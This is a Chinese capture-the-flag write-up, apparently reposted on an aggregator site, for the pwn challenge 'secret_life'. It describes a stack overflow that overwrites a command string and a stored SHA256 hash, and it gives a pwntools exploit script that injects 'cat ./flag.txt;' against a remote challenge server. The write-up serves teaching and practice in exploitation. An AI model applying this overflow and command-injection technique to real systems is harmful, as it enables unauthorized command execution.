secret_life
Posted hktk1643
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了secret_life相关的知识,希望对你有一定的参考价值。
题目来源: 暂无
题目描述:机密
64位elf,程序保护全开
发现main函数此处存在栈溢出
程序会比较v15和v17,如果相等则会执行v14的命令
栈结构如上
v14最开始是"/bin/cat ./secret_data.asc",v15最开始是一串SHA256加密后的结果"9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127"
v17是v16的十六进制字符串表达
v16是dest[256]的SHA256加密
因此可以构造payload为,将dest[256]填满,然后v14放入想要执行的命令,末尾加上一个分号隔绝命令,之后再将v14填满,v15放入dest[256]的SHA256加密后的结果就能绕过检验了
exp如下:
from pwn import * import hashlib #io = process(\'./secret_file\') io = remote(\'111.200.241.244\', 50363) #payload = b\'a\' * 256 + b\'ls;\'.ljust(27, b\'a\') payload = b\'a\' * 256 + b\'cat ./flag.txt;\'.ljust(27, b\'a\') h = hashlib.sha256() h.update(b\'a\' * 256) payload += h.hexdigest().encode() io.sendline(payload) io.interactive()
以上是关于secret_life的主要内容,如果未能解决你的问题,请参考以下文章